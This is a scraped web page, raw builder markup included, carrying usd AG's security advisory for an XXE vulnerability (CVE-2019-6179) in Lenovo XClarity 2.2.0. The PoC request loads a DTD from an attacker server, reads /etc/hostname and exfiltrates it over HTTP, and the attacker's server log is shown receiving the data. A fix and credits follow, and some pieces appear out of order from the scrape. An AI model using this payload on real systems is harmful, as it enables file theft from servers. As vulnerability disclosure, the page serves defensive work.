[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n
<\/span> The Appliance has a CIM API listening on port 9090 that is vulnerable to XXE.<\/span><\/p>\n <\/span><\/p>\n Request:<\/span><\/p>\n [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]POST \/cimom HTTP\/1.1 <?xml version="1.0" encoding="utf-8" ?> [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n Response:<\/span><\/p>\n [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]HTTP\/1.1 400 Bad Request [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\"]<\/p>\n Meanwhile on the nc listener:<\/span><\/p>\n [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]pentester:~\/www$ sudo python3 -m http.server 80 Content of test.xml:<\/p>\n <!ENTITY % data SYSTEM "file:\/\/\/etc\/hostname"> [\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n Disable external entity processing in the XML parser if possible or limit accessibility of the API to authenticated users.<\/span><\/p>\n This security vulnerabilities was found by Tobias Neitzel of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":" usd-2019-0045 | XClarity 2.2.0 Advisory ID: usd-2019-0045CVE Number: CVE-2019-6179Affected Product: XClarityAffected Version: 2.2.0Vulnerability Type: XML External Entity ProcessingSecurity Risk: CriticalVendor URL: https:\/\/www.lenovo.com\/ Vendor Status: FixedVendor Advisory : https:\/\/support.lenovo.com\/de\/de\/solutions\/len-27805 Description The Appliance has a CIM API listening on port 9090 that is vulnerable to XXE. Proof of Concept (PoC) Request:POST \/cimom HTTP\/1.1 Host: 10.10.10.4:9090 Accept-Encoding: gzip, […]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16617","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16617","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16617"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16617\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16617"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
Advisory ID<\/strong>: usd-2019-0045<\/span>
CVE Number<\/strong>: CVE-2019-6179<\/span>
Affected Product<\/strong>: XClarity<\/span>
Affected Version<\/strong>: 2.2.0<\/span>
Vulnerability Type<\/strong>: XML External Entity Processing<\/span>
Security Risk<\/strong>: Critical<\/span>
Vendor URL<\/strong>: <\/span>https:\/\/www.lenovo.com\/ <\/a>
Vendor Status<\/strong>: Fixed<\/span>
Vendor Advisory <\/strong>: <\/span>https:\/\/support.lenovo.com\/de\/de\/solutions\/len-27805<\/a><\/p>\n<\/h3>\n
Description<\/h3>\n
Proof of Concept (PoC)<\/h3>\n
\nHost: 10.10.10.4:9090
\nAccept-Encoding: gzip, deflate
\nContent-type: application\/xml; charset="utf-8"
\nContent-Length: 503
\nCIMOperation: MethodCall
\nCIMObject: root\/cimv2
\nConnection: close <\/p>\n
\n<!DOCTYPE CIM [
\n<!ELEMENT CIM ANY >
\n<!ENTITY % sp SYSTEM "http:\/\/10.10.80.241\/test.xml">
\n%sp;
\n%param1;
\n]>
\n<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1001" PROTOCOLVERSION="1.0"><SIMPLEREQ>&exfil;<IMETHODCALL NAME="EnumerateInstances"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"\/><NAMESPACE NAME="cimv2"\/><\/LOCALNAMESPACEPATH><IPARAMVALUE NAME="ClassName"><CLASSNAME NAME="CIM_ComputerSystem"\/><\/IPARAMVALUE><\/IMETHODCALL><\/SIMPLEREQ><\/MESSAGE><\/CIM><\/code><\/pre>\n
\nContent-Type: application\/xml;charset=\"utf-8\"
\nContent-length: 0
\nConnection: close<\/code><\/pre>\n
\nServing HTTP on 0.0.0.0 port 80 (http:\/\/0.0.0.0:80\/) ...
\n10.10.10.32 - - [24\/May\/2019 15:27:00] \"GET \/test.xml HTTP\/1.0\" 200 -
\n10.10.10.32 - - [24\/May\/2019 15:27:00] \"GET \/?localhost HTTP\/1.0\" 200 -<\/p>\n
\n<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http:\/\/10.10.10.241\/?%data;'>"><\/code><\/pre>\nFix<\/h3>\n
<\/h3>\n
Timeline<\/h3>\n
\n
<\/h3>\n
Credits<\/h3>\n